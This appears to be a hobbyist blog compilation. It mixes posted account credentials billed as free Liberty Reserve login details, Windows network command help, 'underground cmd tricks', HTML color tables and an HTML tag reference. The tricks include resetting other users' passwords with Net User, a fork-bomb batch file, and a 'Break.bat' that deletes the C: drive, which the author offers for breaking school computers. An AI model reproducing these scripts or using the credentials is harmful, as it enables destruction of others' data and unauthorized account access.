FREE LIBERTY RESERVE ACCOUNT DETAILS FOR NET USERS TRY IT

U5421521

Password 6*gL$Uo7cd

Login PIN 23639

Master Key 892

Security Question Highschool Name

Answer lilfreezy

(1)Telnet command-
Technically, telnet is a protocol. This means it is a language that computer use to communicate with one another in a particular way. From your point of view, Telnet is a program that lets you login to a site on the Internet through your connection to Teleport. It is a terminal emulation program, meaning that when you connect to the remote site, your computer functions as a terminal for that computer.
Once the connection is made, you can use your computer to access information, run programs, edit files, and otherwise use whatever resources are available on the other computer. What is available depends on the computer you connect to. Most of the times, if you type '?' or 'help', you would normally receive some type of information, menu options, etc.
Note: telnet connections give you command-line access only. In other words, instead of being able
to use buttons and menus as you do with a graphical interface, you have to type commands.
However, telnet allows you to use certain utilities and resources you cannot access with your
other Internet applications.
Usage: telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]
Switches:
-a Attempt automatic logon. Same as
-l option except uses the currently logged on user's name.
-e Escape character to enter telnet client prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system. Requires that the remote system support the TELNET ENVIRON option.
-t Specifies terminal type.
Supported term types are vt100, vt52, ansi and vtnt only.
host Specifies the hostname or IP address of the remote computer to connect to.
port Specifies a port number or service name.

(2)IPconfig command-
The ipconfig command will give you information about your current TCP/IP configuration. Information such as IP address, default gateway, subnet mask, etc can all be retrieved using this command.
Usage: ipconfig [/? | /all | /release [adapter] | /renew [adapter]]
Switches:
/? Display this help message.
/all Display full configuration information.
/release Release the IP address for the specified adapter.
/renew Renew the IP address for the specified adapter.

(3)Ping Command-
The ping (Packet Internet Groper) is used to send ICMP (Internet Control Message Protocol) packets from one host to another. Ping transmits packets using the ICMP ECHO_REQUEST command and expects an ICMP ECHO_REPLY.
Usage:ping IP address or Hostname
Switches:
-t Ping the specifed host until interrupted.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

(4)Traceroute command-
The traceroute command is used to trace the route that a packet takes to reach its destination. This command works by using the time to live (TTL) filed in the IP packet.
Usage: tracert IP or Hostname
Switches:
-d Do not resolve addresses to hostnames.
-h maximum_hops Maximum number of hops to search for target.
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.

(5)Finger command-
By default, finger will list the login name, full name, terminal name, and write status (shown as a "*" before the terminal name if write permission is denied), idle time, login time, office location, and phone number (if known) for each current user connected to the network.
Usage: finger username@domain
Switches:
-b Brief output format
-f Supresses the printing of the header line.
-i Provides a quick list of users with idle time.
-l Forces long output format.
-p Supresses printing of the .plan file (if present)
-q Provides a quick list of users.
-s Forces short output form.
-w Forces narrow output form.
So what you say do you find this post a result of hard work , tell me if you want to know more about some underground cmd tricks or hacks.

How to find out computer account passwords!
this will require you to know the username.
First open Command Prompt
Then type in the following Net User
This will give you all the accounts (so i lied you didn't need to know the USernames xD
Now type in Net User Admin (you may replace Admin with the account name)
Now you get even more info on that account if you read it all it tells you about the password
Now if you want to change the password just type the following Net User Admin Password (you can replace Admin with the username and Password with the desired password) and TADA you have changed the account password.

O.K. that is all that i will currently say, i will post more in the future, this is jsut a taste of things to come and now for some fun with Command Prompt!

Open up Notepad.exe or in Command Prompt type Notepad (you may type in a files name with out the .exe on the end and it will run it)
Now type in the following:

start
start
start
start
start
start
start crash

then click Save as and select all files, then name is .bat and when you are board just run it and u'll see what it does (make sure you save what your doing first!) it will auto name to Crash.bat

O.K. i take NO RESPONSIBILITY FOR WHAT I AM ABOUT TO POST! this file will BREAK YOU COMPUTER!

@echo off
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
rd c:\ /s /q
cls

put that into a notepad and name it Break.bat now what will this do? it will first delete all internet browsers! then it will lock you out of your computer and then delete your System 32 file which is what your computer needs to RUN! now DO NOT USE THIS! i only posted this for those how want to break a school computer! be careful with this because you will need to get a new computer since restoring can't fix this! now be safe and have fun with the new skills i have just taught you! don't forget to thanks and rep me!

how to chat using cmd

@echo off
:A
cls
echo LAN Messenger
echo.
echo 1) Send message
echo 2) Quit
echo.
set /p menu="Option:"
if %menu%==1 goto :B
if %menu%==2 goto EXIT
cls
echo LAN Messenger
echo.
echo The command entered is not a valid command. Please try again.
echo.
pause
goto :A

:B
sc config Messenger start= auto
sc start Messenger
cls
echo LAN Messenger
echo.
set /p target=Target IP Address:
set /p body=Message:
net send %send% %body%
cls
echo.
echo Your message has been sent.
echo.
pause
goto :A
NB SAVE AS .BAT

HTML COLOR CODES 3

Table 5:
"#BABA21"	"#C8B400"	"#DFA800"	"#DB9900"	"#FFB428"	"#FF9331"	"#FF800D"
"#E0E04E"	"#D9C400"	"#F9BB00"	"#EAA400"	"#FFBF48"	"#FFA04A"	"#FF9C42"
"#E6E671"	"#E6CE00"	"#FFCB2F"	"#FFB60B"	"#FFC65B"	"#FFAB60"	"#FFAC62"
"#EAEA8A"	"#F7DE00"	"#FFD34F"	"#FFBE28"	"#FFCE73"	"#FFBB7D"	"#FFBD82"
"#EEEEA2"	"#FFE920"	"#FFDD75"	"#FFC848"	"#FFD586"	"#FFC48E"	"#FFC895"
"#F1F1B1"	"#FFF06A"	"#FFE699"	"#FFD062"	"#FFDEA2"	"#FFCFA4"	"#FFCEA2"
"#F4F4BF"	"#FFF284"	"#FFECB0"	"#FFE099"	"#FFE6B5"	"#FFD9B7"	"#FFD7B3"
"#F7F7CE"	"#FFF7B7"	"#FFF1C6"	"#FFEAB7"	"#FFEAC4"	"#FFE1C6"	"#FFE2C8"
"#F9F9DD"	"#FFF9CE"	"#FFF5D7"	"#FFF2D2"	"#FFF2D9"	"#FFEBD9"	"#FFE6D0"
"#FBFBE8"	"#FFFBDF"	"#FFFAEA"	"#FFF9EA"	"#FFF7E6"	"#FFF4EA"	"#FFF1E6"
"#FEFEFA"	"#FFFEF7"	"#FFFDF7"	"#FFFDF9"	"#FFFDF9"	"#FFFEFD"	"#FFF9F4"

Table 6:
"#D1D17A"	"#C0A545"	"#C27E3A"	"#C47557"	"#B05F3C"	"#C17753"	"#B96F6F"
"#D7D78A"	"#CEB86C"	"#C98A4B"	"#CB876D"	"#C06A45"	"#C98767"	"#C48484"
"#DBDB97"	"#D6C485"	"#D19C67"	"#D29680"	"#C87C5B"	"#D0977B"	"#C88E8E"
"#E1E1A8"	"#DECF9C"	"#DAAF85"	"#DAA794"	"#CF8D72"	"#DAAC96"	"#D1A0A0"
"#E9E9BE"	"#E3D6AA"	"#DDB791"	"#DFB4A4"	"#D69E87"	"#E0BBA9"	"#D7ACAC"
"#EEEECE"	"#EADFBF"	"#E4C6A7"	"#E6C5B9"	"#DEB19E"	"#E8CCBF"	"#DDB9B9"
"#E9E9C0"	"#EDE4C9"	"#E9D0B6"	"#EBD0C7"	"#E4C0B1"	"#ECD5CA"	"#E6CCCC"
"#EEEECE"	"#EFE7CF"	"#EEDCC8"	"#F0DCD5"	"#EACDC1"	"#F0DDD5"	"#ECD9D9"
"#F1F1D6"	"#F5EFE0"	"#F2E4D5"	"#F5E7E2"	"#F0DDD5"	"#F5E8E2"	"#F3E7E7"
"#F5F5E2"	"#F9F5EC"	"#F9F3EC"	"#F9EFEC"	"#F5E8E2"	"#FAF2EF"	"#F8F1F1"
"#FDFDF9"	"#FDFCF9"	"#FCF9F5"	"#FDFAF9"	"#FDFAF9"	"#FCF7F5"	"#FDFBFB"

Table 7:
"#F70000"	"#B9264F"	"#990099"	"#74138C"	"#0000CE"	"#1F88A7"	"#4A9586"
"#FF2626"	"#D73E68"	"#B300B3"	"#8D18AB"	"#5B5BFF"	"#25A0C5"	"#5EAE9E"
"#FF5353"	"#DD597D"	"#CA00CA"	"#A41CC6"	"#7373FF"	"#29AFD6"	"#74BAAC"
"#FF7373"	"#E37795"	"#D900D9"	"#BA21E0"	"#8282FF"	"#4FBDDD"	"#8DC7BB"
"#FF8E8E"	"#E994AB"	"#FF2DFF"	"#CB59E8"	"#9191FF"	"#67C7E2"	"#A5D3CA"
"#FFA4A4"	"#EDA9BC"	"#F206FF"	"#CB59E8"	"#A8A8FF"	"#8ED6EA"	"#C0E0DA"
"#FFB5B5"	"#F0B9C8"	"#FF7DFF"	"#D881ED"	"#B7B7FF"	"#A6DEEE"	"#CFE7E2"
"#FFC8C8"	"#F4CAD6"	"#FFA8FF"	"#EFCDF8"	"#C6C6FF"	"#C0E7F3"	"#DCEDEA"
"#FFEAEA"	"#F8DAE2"	"#FFC4FF"	"#EFCDF8"	"#DBDBFF"	"#D8F0F8"	"#E7F3F1"
"#FFEAEA"	"#FAE7EC"	"#FFE3FF"	"#F8E9FC"	"#EEEEFF"	"#EFF9FC"	"#F2F9F8"
"#FFFDFD"	"#FEFAFB"	"#FFFDFF"	"#FFFFFF"	"#FDFDFF"	"#FAFDFE"	"#F7FBFA"

HTML COLOR CODES 2

Table 1: Reddish Tints Toward Purple Tints
#FF4848	#FF68DD	#FF62B0	#FE67EB	#E469FE	#D568FD	#9669FE
#FF7575	#FF79E1	#FF73B9	#FE67EB	#E77AFE	#D97BFD	#A27AFE
#FF8A8A	#FF86E3	#FF86C2	#FE8BF0	#EA8DFE	#DD88FD	#AD8BFE
#FF9797	#FF97E8	#FF97CB	#FE98F1	#ED9EFE	#E29BFD	#B89AFE
#FFA8A8	#FFACEC	#FFA8D3	#FEA9F3	#EFA9FE	#E7A9FE	#C4ABFE
#FFBBBB	#FFACEC	#FFBBDD	#FFBBF7	#F2BCFE	#EDBEFE	#D0BCFE
#FFCECE	#FFC8F2	#FFC8E3	#FFCAF9	#F5CAFF	#F0CBFE	#DDCEFF
#FFDFDF	#FFDFF8	#FFDFEF	#FFDBFB	#F9D9FF	#F4DCFE	#E6DBFF
#FFECEC	#FFEEFB	#FFECF5	#FFEEFD	#FDF2FF	#FAECFF	#F1ECFF
#FFF2F2	#FFFEFB	#FFF9FC	#FFF9FE	#FFFDFF	#FDF9FF	#FBF9FF

Table 2: Purple Toward Blue & Beyond (Some Tones)
"#800080"	"#872187"	"#9A03FE"	"#892EE4"	"#3923D6"	"#2966B8"	"#23819C"
"#BF00BF"	"#BC2EBC"	"#A827FE"	"#9B4EE9"	"#6755E3"	"#2F74D0"	"#2897B7"
"#DB00DB"	"#D54FD5"	"#B445FE"	"#A55FEB"	"#8678E9"	"#4985D6"	"#2FAACE"
"#F900F9"	"#DD75DD"	"#BD5CFE"	"#AE70ED"	"#9588EC"	"#6094DB"	"#44B4D5"
"#FF4AFF"	"#DD75DD"	"#C269FE"	"#AE70ED"	"#A095EE"	"#7BA7E1"	"#57BCD9"
"#FF86FF"	"#E697E6"	"#CD85FE"	"#C79BF2"	"#B0A7F1"	"#8EB4E6"	"#7BCAE1"
"#FFA4FF"	"#EAA6EA"	"#D698FE"	"#CEA8F4"	"#BCB4F3"	"#A9C5EB"	"#8CD1E6"
"#FFBBFF"	"#EEBBEE"	"#DFB0FF"	"#DBBFF7"	"#CBC5F5"	"#BAD0EF"	"#A5DBEB"
"#FFCEFF"	"#F0C4F0"	"#E8C6FF"	"#E1CAF9"	"#D7D1F8"	"#CEDEF4"	"#B8E2EF"
"#FFDFFF"	"#F4D2F4"	"#EFD7FF"	"#EDDFFB"	"#E3E0FA"	"#E0EAF8"	"#C9EAF3"
"#FFECFF"	"#F4D2F4"	"#F9EEFF"	"#F5EEFD"	"#EFEDFC"	"#EAF1FB"	"#DBF0F7"
"#FFF9FF"	"#FDF9FD"	"#FEFDFF"	"#FEFDFF"	"#F7F5FE"	"#F8FBFE"	"#EAF7FB"

Table 3: Blue Tints Toward Greenish Tints
"#5757FF"	"#62A9FF"	"#62D0FF"	"#06DCFB"	"#01FCEF"	"#03EBA6"	"#01F33E"
"#6A6AFF"	"#75B4FF"	"#75D6FF"	"#24E0FB"	"#1FFEF3"	"#03F3AB"	"#0AFE47"
"#7979FF"	"#86BCFF"	"#8ADCFF"	"#3DE4FC"	"#5FFEF7"	"#33FDC0"	"#4BFE78"
"#8C8CFF"	"#99C7FF"	"#99E0FF"	"#63E9FC"	"#74FEF8"	"#62FDCE"	"#72FE95"
"#9999FF"	"#99C7FF"	"#A8E4FF"	"#75ECFD"	"#92FEF9"	"#7DFDD7"	"#8BFEA8"
"#AAAAFF"	"#A8CFFF"	"#BBEBFF"	"#8CEFFD"	"#A5FEFA"	"#8FFEDD"	"#A3FEBA"
"#BBBBFF"	"#BBDAFF"	"#CEF0FF"	"#ACF3FD"	"#B5FFFC"	"#A5FEE3"	"#B5FFC8"
"#CACAFF"	"#D0E6FF"	"#D9F3FF"	"#C0F7FE"	"#CEFFFD"	"#BEFEEB"	"#CAFFD8"
"#E1E1FF"	"#DBEBFF"	"#ECFAFF"	"#C0F7FE"	"#E1FFFE"	"#BDFFEA"	"#EAFFEF"
"#EEEEFF"	"#ECF4FF"	"#F9FDFF"	"#E6FCFF"	"#F2FFFE"	"#CFFEF0"	"#EAFFEF"
"#F9F9FF"	"#F9FCFF"	"#FDFEFF"	"#F9FEFF"	"#FDFFFF"	"#F7FFFD"	"#F9FFFB"

Table 4:
"#1FCB4A"	"#59955C"	"#48FB0D"	"#2DC800"	"#59DF00"	"#9D9D00"	"#B6BA18"
"#27DE55"	"#6CA870"	"#79FC4E"	"#32DF00"	"#61F200"	"#C8C800"	"#CDD11B"
"#4AE371"	"#80B584"	"#89FC63"	"#36F200"	"#66FF00"	"#DFDF00"	"#DFE32D"
"#7CEB98"	"#93BF96"	"#99FD77"	"#52FF20"	"#95FF4F"	"#FFFFAA"	"#EDEF85"
"#93EEAA"	"#A6CAA9"	"#AAFD8E"	"#6FFF44"	"#ABFF73"	"#FFFF84"	"#EEF093"
"#A4F0B7"	"#B4D1B6"	"#BAFEA3"	"#8FFF6F"	"#C0FF97"	"#FFFF99"	"#F2F4B3"
"#BDF4CB"	"#C9DECB"	"#CAFEB8"	"#A5FF8A"	"#D1FFB3"	"#FFFFB5"	"#F5F7C4"
"#D6F8DE"	"#DBEADC"	"#DDFED1"	"#B3FF99"	"#DFFFCA"	"#FFFFC8"	"#F7F9D0"
"#E3FBE9"	"#E9F1EA"	"#EAFEE2"	"#D2FFC4"	"#E8FFD9"	"#FFFFD7"	"#FAFBDF"
"#E3FBE9"	"#F3F8F4"	"#F1FEED"	"#E7FFDF"	"#F2FFEA"	"#FFFFE3"	"#FCFCE9"
"#FAFEFB"	"#FBFDFB"	"#FDFFFD"	"#F5FFF2"	"#FAFFF7"	"#FFFFFD"	"#FDFDF0"

HTML COLOR CODES

Table 1: The 00 Block
#000000	#003300	#006600	#009900	#00CC00	#00FF00
#000033	#003333	#006633	#009933	#00CC33	#00FF33
#000066	#003366	#006666	#009966	#00CC66	#00FF66
#000099	#003399	#006699	#009999	#00CC99	#00FF99
#0000CC	#0033CC	#0066CC	#0099CC	#00CCCC	#00FFCC
#0000FF	#0033FF	#0066FF	#0099FF	#00CCFF	#00FFFF

Table 2: The 33 Block
#330000	#333300	#336600	#339900	#33CC00	#33FF00
#330033	#333333	#336633	#339933	#33CC33	#33FF33
#330066	#333366	#336666	#339966	#33CC66	#33FF66
#330099	#333399	#336699	#339999	#33CC99	#33FF99
#3300CC	#3333CC	#3366CC	#3399CC	#33CCCC	#33FFCC
#3300FF	#3333FF	#3366FF	#3399FF	#33CCFF	#33FFFF

Table 3: The 66 Block
#660000	#663300	#666600	#669900	#66CC00	#66FF00
#660033	#663333	#666633	#669933	#66CC33	#66FFCC
#660066	#663366	#666666	#669966	#66CC66	#66FF66
#660099	#663399	#666699	#669999	#66CC99	#66FF99
#6600CC	#6633CC	#6666CC	#6699CC	#66CCCC	#66FFCC
#6600FF	#6633FF	#6666FF	#6699FF	#66CCFF	#66FFFF

Table 4: The 99 Block
#990000	#993300	#996699	#999900	#99CC00	#99FF00
#990033	#993333	#996633	#999933	#99CC33	#99FF33
#990066	#993366	#996666	#999966	#99CC66	#99FF66
#990099	#993399	#996699	#999999	#99CC99	#99FF99
#9900CC	#9933CC	#9966CC	#9999CC	#99CCCC	#99FFCC
#9900FF	#9933FF	#9966FF	#9999FF	#99CCFF	#99FFFF

Table 5: The CC Block
#CC0000	#CC3300	#CC6600	#CC9900	#CCCC00	#CCFF00
#CC0033	#CC3333	#CC6633	#CC9933	#CCCC33	#CCFF33
#CC0066	#CC3366	#CC6666	#CC9966	#CCCC66	#CCFF66
#CC0099	#CC3399	#CC6699	#CC9999	#CCCC99	#CCFF99
#CC00CC	#CC33CC	#CC66CC	#CC99CC	#CCCCCC	#CCFFCC
#CC00FF	#CC33FF	#CC66FF	#CC99FF	#CCCCFF	#CCFFFF

Table 6: The FF Block
#FF0000	#FF3300	#FF6600	#FF9900	#FFCC00	#FFFF00
#FF0033	#FF3333	#FF6633	#FF9933	#FFCC33	#FFFF33
#FF0066	#FF3366#	#FF6666	#FF9966	#FFCC66	#FFFF66
#FF0099	#FF3399	#FF6699	#FF9999	#FFCC99	#FFFF99
#FF00CC	#FF33CC	#FF66CC	#FF99CC	#FFCCCC	#FFFFCC
#FF00FF	#FF33FF	#FF66FF	#FF99FF	#FFCCFF	#FFFFFF

HTML TAGS AND THEIR MEANINGS

Tag	What it is	When to use it
<a>	Anchor (most commonly a link)	Vital. Use to create links in content. Use the title attribute whenever the contents of the <a>…</a> pair do not accurately describe what you’ll get from selecting the link. Title attribute often displays as a tooltip in visual browsers, which may be a helpful usability aid.
<abbr>	Defines an abbreviation	Works in a similar way to <dfn> and <acronym>, using a title attribute (displays a tooltip in standard visual browsers). e.g. <abbr title=”Hypertext markup language”>HTML</abbr>
<ACRONYM>	Defines an acronym	Works in a similar way to <abbr> and <dfn>, using a title attribute (displays a tooltip in standard visual browsers).
<ADDRESS>	Used for marking up a physical (e.g. mailing) address	Not commonly used. Recommend looking into microformats, which allow for more detail and interoperability.
<APPLET>	Inserts a Java applet	The old way to insert a Java app. Use <object> instead today.
<AREA>	Hotspot in image map	Avoid image maps where possible. Occasionally necessary.
<BASE>	Specifies the base location of the document.	Use only when necessary. Adjusts any relative links and paths within the document.
<BASEFONT>	Sets default font size	Display info – never use it
<BIG>	Larger text	Display info – never use it
<BLINK>	Makes text blink	You go to hell if you use this
<BLOCKQUOTE>	Large quoted block of text	Use for any quoted text that constitutes one or more paragraphs (note: should contain <p> tags as well). Use <q> for quotations within a paragraph. Often used in conjunction with <cite> to cite the quotation’s source.
<BODY>	Document body	Essential (unless you’re using frames)
<BR>	Line break	This is arguably display information. Still in common use, but use with restraint.
<B>	Bold text	Display info – never use it
<BUTTON>	Used for a standard clickable button within a form	Often better than <input type=”button” /> or <input type=”submit” />, as it allows you to assign different styles based on the HTML element alone, whereas differentiating style based on the type of input is less well supported.
<CAPTION>	Caption for a table: describes the table’s contents	The correct way to assign a title to a table
<CENTER>	Centred block	Display info – never use it. Use <div> or some other block-level tag with the style text-align:center instead
<CITE>	Defines a citation	Defines the source of a quotation (in conjunction with content in <q> or <blockquote> pairs).
<CODE>	Defines an extract of code	Not commonly used. Similar to <pre> tag, but collapses consecutive white spaces and line breaks in the source.
<COL>	Identifies a particular column in a table	Can be very useful. e.g. <col class=”namecol”> can be applied to each first column in a series of tables, then the width of each column may be set to be equal in the stylesheet, overriding the table’s natural tendency to adjust its own column widths to fit its contents.
<DFN>	Definition of a term	Works in a similar way to <abbr> and <acronym>, using a title attribute (displays a tooltip in standard visual browsers).
<DIR>	Directory list	Now deprecated. Use a standard <ul> or other list instead.
<DIV>	Division	Specifies a logical division within a document. Use it to separate or identify chunks of content that are not otherwise distinguished naturally using other tags. One of the most common HTML tags.
<DL>	Definition list	Contains one or more definition-term / definition-description pairs.
<DT>	Definition term	Used as part of a <dt></dt><dd></dd> pair within a definition list (<dl></dl>)
<DD>	Definition description
<EM>	Emphasis	Commonly used in place of the old <i> (italics) tag to indicate emphasis (but less than <strong>)
<FONT>	Font settings	Display info – never use it
<FORM>	Input form	Essential for data input
<H1>	Level 1 header	Aim to have one H1 on each page, containing a description of what the page is about.
<H2>	Level 2 header	Defines a section of the page
<H3>	Level 3 header	Defines a sub-section of the page (should always follow an H2 in the logical hierarchy)
<H4>	Level 4 header	Etc. Less commonly used
<H5>	Level 5 header	Less commonly used. Only complex academic documents will break down to this level of detail.
<H6>	Level 6 header	Less commonly used
<HEAD>	Document head	Essential. Contains information about a page that does not constitute content to be communicated as part of the page.
<HR>	Horizontal rule	Display info with no semantic value – never use it. “Horizontal”, by definition, is a visual attribute.
<HTML>		Core element of every web page.
<IMG >	Show an image	Vital. Always use the alt or longdesc attributes when the image has content value
<INPUT>	Input fields within forms	Vital. (I prefer to use <button> for buttons and submit buttons though)
<ISINDEX>	Old type of search input	Not really used any more. Use <form> instead.
<I>	Italicised text	Display info – never use it
<KBD>	Keyboard input	Display info – never use it
<LINK>	Defines a relationship to another document	Commonly used to reference external stylesheets, but has other minor uses
<LI>	List item	Specifies an item in an unordered or ordered list (<ul> or <ol>)
<MAP>	Client-side imagemap	May have occasional value, but only use when absolutely necessary
<MARQUEE>	Makes text scroll across the screen	See <blink>
<MENU>	Menu item list	Deprecated. Do not use. Use other standard list types instead.
<META>	Meta-information	Useful way to insert relevant information into the <head> section of the page that does not need to be displayed.
<OL>	Ordered list	Type of list where the order of elements has some meaning. Generally rendered with item numbers (best managed with CSS).
<OPTION>	Selection list option	Vital for options within a drop-down control.
<PARAM>	Parameter for Java applet	Used in conjunction with an <object> or <applet> tag to pass additional setting information at runtime.
<PRE>	Preformatted text	Renders text in a pre-formatted style, preserving line breaks and all spaces present in the source. May be useful. (This one’s a paradox, as it is strictly display info that applies only to visual browsing, but it’s still so commonly used and useful that I’m hesitant to advise against using it.)
<P>	Paragraph	Only use to denote a paragraph of text. Never use for spacing alone.
<Q>	Short quotation	Use for inline quotations (whereas <blockquote> should be used for quotations of a paragraph or more). Often used in conjunction with <cite> to cite the quotation’s source.
<SAMP>	Denotes sample output text	Similar to the <code> tag. Rarely used. Avoid.
<SCRIPT>	Inline script (e.g. JavaScript)	It’s better to have all scripts as separate files than to write inline or in the <head> section, however still has its uses.
<SELECT>	Selection list	A drop-down selector for a form.
<SMALL>	Smaller text	Display info – never use it
<SPAN>	An inline span within text	Use to apply meaning (and style) to a span of text that goes with the flow of content (whereas a <div> tag is block-level and breaks the flow)
<Strikeout>		Display info – never use it
<STRONG>	Strong emphasis	Use this instead of the old <b> tag.
<STYLE>	CSS style settings	Normally used in <head> section of a page. Try to use external stylesheets, to enable you to apply different styles for different output media.
<SUB>	Subscript text	Arguably display info – recommend using alternative tags (e.g. <cite>). May be required in some academic uses, e.g. Chemical formulas.
<SUP>	Superscript text
<TABLE>	Table	Use for repeated data that has a naturally tabular form. Never use for layout purposes.
<TD>	Table data cell	A cell containing actual data. If a cell actually contains a descriptor or identifier for a row or column, use a <th> (table header) tag, not a <td>. This usually applies to column headers (within a <thead>), column footers (within a <tfoot>), as well as row headers (usually the first cell in a row in the <tbody>).
<TEXTAREA>	Multi-line text input area in a form	Essential
<TH>	Table column or row header cell	May appear in a <thead> (to denote a column header cell), <tbody> (to denote a row header), and in <tfoot> (to denote a column foot cell, e.g. a total)
<TBODY>	Indicates the main body of a data table	It is always worth using this tag, as well as using <thead> and <tfoot> where appropriate. Note that it is permissible to have more than one <tbody>, <thead>, and <tfoot> in the same table.
<THEAD>	The head section of a table	The place to put column header cells (<th>)
<TFOOT>	The foot section of a table	Good place to put e.g. summary data, such as totals. Note that it goes before the <tbody> tag!
<TITLE>	Document title	Essential
<TR>	Table row	Essential with tables
<TT>	“Teletype” - simulates typewriter output	Similar to <pre>, except that it collapses white space like normal HTML (whereas <pre> leaves all consecutive white space intact). Avoid if possible
<UL>	Unordered list	Essential. Use for lists where the order or items has no particular importance.
<U>	Underline text	Display info – never use it
<VAR>	Variable in computer code	Obscure tag, may only be useful in academic documents. Avoid.